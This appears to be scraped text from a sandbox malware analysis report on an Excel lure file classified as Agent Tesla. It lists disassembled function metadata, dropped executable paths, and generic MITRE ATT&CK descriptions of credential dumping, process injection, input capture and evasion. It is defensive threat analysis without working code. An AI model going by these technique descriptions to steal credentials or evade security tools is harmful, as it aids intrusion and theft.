Part of subcall function 00DA5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA52BC

Strings

Shell_TrayWnd, xrefs: 00DC59A7

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: dcd593ba250fd7121d9684ea4f5153dabaac6de44334353bde041bd16fac696a
Instruction ID: a2104141f88a8b6f2d6918ea4229db609a91f202a267982b7dd9c6cf022e670c
Opcode Fuzzy Hash: dcd593ba250fd7121d9684ea4f5153dabaac6de44334353bde041bd16fac696a
Instruction Fuzzy Hash: 72D0C9313C07127BE664AB70AC0BFD66625AB05B51F010825B346EA2D0C9E4A800C678

Function 00DC5964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00DC596E
PostMessageW.USER32 ref: 00DC5981

Part of subcall function 00DA5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA52BC

Strings

Shell_TrayWnd, xrefs: 00DC5967

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: cbac1858062ed0231ded199e4fe4d44f3d94056c30fab0108a03a3a4bff9a352
Instruction ID: d56a3996331d41dd80193cd98b93fb129914b3cc8a83620ce9e57b6342c8c080
Opcode Fuzzy Hash: cbac1858062ed0231ded199e4fe4d44f3d94056c30fab0108a03a3a4bff9a352
Instruction Fuzzy Hash: 64D0C931394712BBE664AB70AC0BFE66A25AB01B51F010825B34AEA2D0C9E49800C674

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe

C:\Users\user\AppData\Local\Temp\autDD7.tmp

C:\Users\user\AppData\Local\Temp\autE07.tmp

C:\Users\user\AppData\Local\Temp\cerecloths

C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

C:\Users\user\AppData\Local\Temp\oxmanship

C:\Users\user\Desktop\~$Nova naredba_HR-WJO-12-10-2024.xlam.xls

C:\Users\user\Desktop\~$Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Static File Info

Windows Analysis Report
Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Function 0356047A Relevance: 3.1, APIs: 2, Instructions: 82
libraryCOMMON

Function 03560540 Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Function 035603E8 Relevance: 1.6, APIs: 1, Instructions: 149
filenetworkCOMMON

Function 03560404 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Function 03560494 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 035604F5 Relevance: 1.6, APIs: 1, Instructions: 58
filenetworkCOMMON

Function 03560560 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 03560567 Relevance: .0, Instructions: 14
COMMON

Function 035603CF Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 00D43B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre